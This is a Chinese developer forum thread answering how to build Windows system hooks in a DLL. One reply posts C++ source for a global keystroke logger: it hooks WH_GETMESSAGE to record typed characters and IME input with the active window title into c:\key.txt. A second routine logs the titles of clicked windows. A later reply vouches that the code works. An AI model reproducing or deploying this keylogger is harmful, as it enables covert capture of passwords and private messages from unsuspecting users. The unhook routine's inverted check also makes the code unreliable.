一样的,作个DLL,用程序调用使用SetWindowsHookEx和SetWindowsHook

解决方案 »

  1.   

    你以前在哪里使用呢?
    windows95以上应该一样的。
      

  2.   

    我刚上传了一个键盘钩子的源代码,你可以去看一下http://mantousoft.51.net/delphi_work/keylock_scr.zip
      

  3.   

    我有代码,需要的话可以给你![email protected]
      

  4.   

    我贴两个都是我写的
    HHOOK hHook;
    LRESULT CALLBACK JournalRecordProc(int nCode,WPARAM wParam,LPARAM lParam)
    {
    HWND parentWnd=NULL;
    EVENTMSG *eventmsg=(EVENTMSG *)lParam;
    if(nCode>=0)
    if(eventmsg->message==WM_LBUTTONDOWN)
    {   
    //parentWnd=::GetParent(eventmsg->hwnd);
      char title[100];
      ::GetWindowText(eventmsg->hwnd,title,100);
      CString str;
      str.Format("%s\n",title);
      CFile file;
          if(file.Open("c:\\key.txt",CFile::modeCreate|CFile::modeNoTruncate|CFile::modeWrite|CFile::shareDenyNone))
      {   
      file.SeekToEnd();
              str+="\r\n";
          file.Write(str,str.GetLength());
              file.Close();
      }
      
     
    //WriteFile(hFile,"\r\n",2,&number,NULL);
    }
       return CallNextHookEx(hHook,nCode,wParam,lParam); 
    }
    用来抓窗口
    //--------------------------------------------------------// alltest.cpp : Defines the entry point for the DLL application.
    //#include "stdafx.h"#pragma data_seg(".JOE")
    HANDLE hFile=NULL;
    HWND prewnd=NULL;
    #pragma data_seg()
    #pragma comment(linker, "/section:.JOE,rws")
    HINSTANCE hInst=NULL;
    HHOOK hhook=NULL;
    //HHOOK hhook2=NULL;
    LRESULT CALLBACK msghook(UINT nCode, WPARAM wParam, LPARAM lParam);
    //LRESULT CALLBACK JournalRecordProc(UINT nCode,WPARAM wParam,LPARAM lParam);
    extern "C" __declspec(dllexport) BOOL clearMyHook();
    BOOL APIENTRY DllMain( HINSTANCE hInstance, 
                           DWORD  Reason, 
                           LPVOID Reserved
     )
    {
    switch(Reason)
        { /* reason */
         case DLL_PROCESS_ATTACH:
    hInst = hInstance;
    return TRUE;
         case DLL_PROCESS_DETACH:
    if(hhook != NULL)    clearMyHook();
       

    return TRUE;
        } /* reason */
        return TRUE;
    }extern "C" __declspec(dllexport) BOOL setMyHook()
        {
         if(hhook != NULL)
    return FALSE; // already hooked!
         hhook = SetWindowsHookEx(WH_GETMESSAGE,
        (HOOKPROC)msghook,
        hInst,
        0);
    //  hhook2=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalRecordProc,hInst,0);
         if(hhook != NULL)
    { /* success */
     
     return TRUE;
    } /* success */
         return FALSE; // failed to set hook
        } // setMyHook
    extern "C" __declspec(dllexport) BOOL clearMyHook()
        {
         if(hhook!=NULL)
    return FALSE;
         BOOL unhooked = UnhookWindowsHookEx(hhook);
         CloseHandle(hFile);
         return unhooked;
        } // clearMyHookstatic LRESULT CALLBACK msghook(UINT nCode, WPARAM wParam, LPARAM lParam)
    {
         if(nCode < 0)
    { /* pass it on */
     CallNextHookEx(hhook, nCode, wParam, lParam);
     return 0;
    } /* pass it on */    
     LPMSG msg=(LPMSG)lParam;
     char buffer;
     DWORD number=0;
     char winname[100];
        if(msg->message==WM_CHAR)  
    {//如果某键被按下 
         
          
              buffer=(char)msg->wParam; 
          GetWindowText(GetParent(msg->hwnd),winname,100);
      char *newname=new char[lstrlen(winname)+1];
      lstrcpy(newname,winname);
          hFile=CreateFile("c:\\key.txt",GENERIC_WRITE|GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
          SetFilePointer(hFile,NULL,NULL,FILE_END);
      if(GetParent(msg->hwnd)!=prewnd)
      {
         WriteFile(hFile,"\r\n",2,&number,NULL);
          WriteFile(hFile,newname,lstrlen(newname)+1,&number,NULL);
          WriteFile(hFile,"\r\n",2,&number,NULL);
          prewnd=GetParent(msg->hwnd);
      }
      switch(buffer)
     {
      case 0x08:
      SetFilePointer(hFile,-1,NULL,FILE_CURRENT);
      SetEndOfFile(hFile);
      break;
        default:
        WriteFile(hFile,&buffer,1,&number,NULL);
         }
      CloseHandle(hFile);
      
        } // msghook
    else if(msg->message==WM_IME_CHAR)
    {
       char chCharCode1 = (char)msg->wParam & 0xff;
           char chCharCode2 = (char)msg->wParam >> 8;
       GetWindowText(GetParent(msg->hwnd),winname,100);
       char *newname=new char[lstrlen(winname)+1];
       lstrcpy(newname,winname);
       hFile=CreateFile("c:\\key.txt",GENERIC_WRITE|GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
       SetFilePointer(hFile,NULL,NULL,FILE_END);
       if(GetParent(msg->hwnd)!=prewnd)
       {  
      if(prewnd!=NULL)
      {
         WriteFile(hFile,"\r\n",2,&number,NULL);
      }
      WriteFile(hFile,newname,lstrlen(newname)+1,&number,NULL);
      WriteFile(hFile,"\r\n",2,&number,NULL);
      prewnd=GetParent(msg->hwnd);
       }
           switch(msg->wParam)
     {
      case 0x08:
      SetFilePointer(hFile,-2,NULL,FILE_CURRENT);
      SetEndOfFile(hFile);
      break;
        default:
        WriteFile(hFile,&chCharCode1,1,&number,NULL);
       WriteFile(hFile,&chCharCode2,1,&number,NULL);
         }
       
       CloseHandle(hFile); }
    return CallNextHookEx(hhook, nCode, wParam, lParam);
    }用来看键盘的
      

  5.   

    一定好用
    第2个是用来生成dll的
    两个都是系统钩子